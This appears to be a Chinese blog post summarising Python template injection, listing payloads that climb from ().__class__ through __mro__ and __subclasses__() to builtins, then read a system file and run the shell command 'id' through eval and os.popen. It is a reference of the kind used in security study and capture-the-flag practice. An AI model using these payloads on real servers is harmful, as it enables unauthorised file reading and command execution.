当前位置:网站首页>模板注入总结
模板注入总结
2022-07-28 14:15:00 【[email protected]】
1,常用命令
().__class__ 当前类

().__class__.__mro__ 当前类继承了哪些类

().__class__.__mro__[-1].__subclasses__() object类的所有子类,具体就可以利用这个来找自己所需的类

比如有时第40为file函数,就可以通过
''.__class__.__mro__[-1].__subclasses__()[40]("/etc/password").read() 来进行读取文件内容
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__ 查看子类列表中第59个这个下面的内置函数,找到所需的

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()") 找到合适的函数后,可以利用如上所示来进行利用

更多可以参考:
https://www.cnblogs.com/vstar-o/p/13719889.html
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_38641816/article/details/108965187
边栏推荐
- 20、 ROS distributed communication
- How to conduct risk assessment related to intellectual property rights
- SQL labs detailed problem solving process (less1-less10)
- PHP magic method
- Enterprise wechat customer service link, enterprise wechat customer service chat
- Crawler: from entry to imprisonment (II) -- Web collector
- Analysis vulnerability introduction
- 16、 Launch file label of ROS (II)
- Qt development tips
- Mysql易错知识点整理(待更新)
猜你喜欢
![SQL error [1810] [22008]: ora-01810: format code occurs twice](/img/3b/4cbc0efe23f6f71163a115cd098ea9.png)
SQL error [1810] [22008]: ora-01810: format code occurs twice

Image steganography method

使用cpolar发布树莓派网页(apache2的安装测试)

SSH service

MLX90640 红外热成像仪传感器模块开发笔记(八)

即刻体验 | 借助 CTS-D 进一步提升应用设备兼容性

The second 1024, come on!
![What is the difference between UTF-8, utf-16 and UTF-32 character encoding? [graphic explanation]](/img/a9/336390db64d871fa1655800c1e0efc.png)
What is the difference between UTF-8, utf-16 and UTF-32 character encoding? [graphic explanation]

When MySQL uses left join to query tables, the query is slow because the connection conditions are not properly guided

Use of beefs
随机推荐
Chapter 3 stack, queue and array
Enumeration type
Talk about low code / zero code tools
4、 C language operators
6、 C language circular statement
VTK notes - picker picker summary
C language program: judging triangles
5、 C language judgment statement
Iframe tag
安全与隐私计算在国内发展现状
14、 ROS meta function package
How to conduct risk assessment related to intellectual property rights
企业微信客服链接,企业微信客服聊天
Development status of security and privacy computing in China
VTK annotation class widget vtkborderwidget
Specific operation process of network security emergency response
使用cpolar发布树莓派网页(apache2网页的发布)
What is the difference between UTF-8, utf-16 and UTF-32 character encoding? [graphic explanation]
C language related programming exercises
2、 Declaration and definition of variables and constants